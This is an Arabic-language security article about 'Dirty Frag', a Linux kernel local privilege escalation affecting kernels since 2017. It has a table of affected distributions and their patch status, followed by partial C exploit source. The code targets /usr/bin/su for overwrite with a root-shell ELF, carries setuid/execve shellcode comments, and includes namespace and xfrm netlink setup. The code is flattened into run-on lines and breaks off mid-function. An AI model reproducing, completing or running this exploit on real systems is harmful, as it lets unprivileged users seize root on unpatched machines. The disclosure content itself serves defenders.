
Dirty Frag - ثغرة حرجة في نواة لينكس
سلسلة الاستغلال، المصنفة على أنها تصعيد صلاحيات محلي (LPE)، تسمح لمستخدم غير مميز بالحصول على وصول الجذر على جميع توزيعات لينكس الحديثة تقريبًا التي تشغل أنوية صدرت منذ عام 2017، وتمتد عبر حوالي تسع سنوات من الإصدارات. يعمل الاستغلال عبر مسار فك التشفير الموضعي لوحدات esp4 وesp6 وrxrpc، مما يؤدي إلى إفساد ذاكرة التخزين المؤقت لصفحات النواة من خلال استدعاءات نظام قياسية مثل splice(2) وsendmsg(2)، دون الحاجة إلى تفاعل المستخدم أو ناقل هجوم عن بعد.
الثغرات المكونة هما:
xfrm-ESP كتابة ذاكرة التخزين المؤقت للصفحات - CVE-2026-43284، في مسار إدخال IPsec ESP. تم دمجها في شجرة netdev في 7 مايو 2026 وتم قبولها في الشجرة الرئيسية في 8 مايو 2026 كالتزام f4c50a4034e6 (يفتح في علامة تبويب جديدة).
RxRPC كتابة ذاكرة التخزين المؤقت للصفحات - تم حجز CVE-2026-43500، في مسار التحقق من AFS RxRPC. لا يوجد تصحيح في أي شجرة وقت الإفصاح.
| التوزيعة | الإصدارات المتأثرة | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | حالة التصحيح |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ متأثر | ✅ متأثر | مصحح |
| AlmaLinux | 8, 9, 10 | ✅ متأثر | ⚠️ فقط 9 و 10¹ | مصحح |
| Rocky Linux | 8, 9, 10 | ✅ متأثر | ✅ متأثر | مصحح |
| CentOS | 8 | ✅ متأثر | ✅ متأثر | مصحح |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ متأثر | ✅ متأثر | مصحح |
| Oracle Linux | RHCK / UEK متأثر | ✅ متأثر | ✅ متأثر | مصحح |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ متأثر | ✅ متأثر | مصحح |
| Debian | Bullseye, Bookworm, Trixie | ✅ متأثر | ✅ متأثر | مصحح (sid أولاً) |
| Fedora | الإصدارات الحالية | ✅ متأثر | ✅ متأثر | مصحح |
| Arch Linux | Rolling | ✅ متأثر | ✅ متأثر | مصحح |
| Amazon Linux | 2, 2023 | ✅ متأثر | ✅ متأثر | مصحح |
| Proxmox VE | الإصدارات الحالية | ✅ متأثر | ✅ متأثر | مصحح |
المتأثر: نواة لينكس ≥ 4.14 (منذ يناير 2017) · جميع التوزيعات الرئيسية · لا يوجد ناقل هجوم عن بعد CVSS 3.1: 8.8 عالية (CVE-2026-43284) · تم الإفصاح: 7 مايو 2026 · إثبات المفهوم عام في اليوم صفر الباحث: Hyunwoo Kim (@v4bel)
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }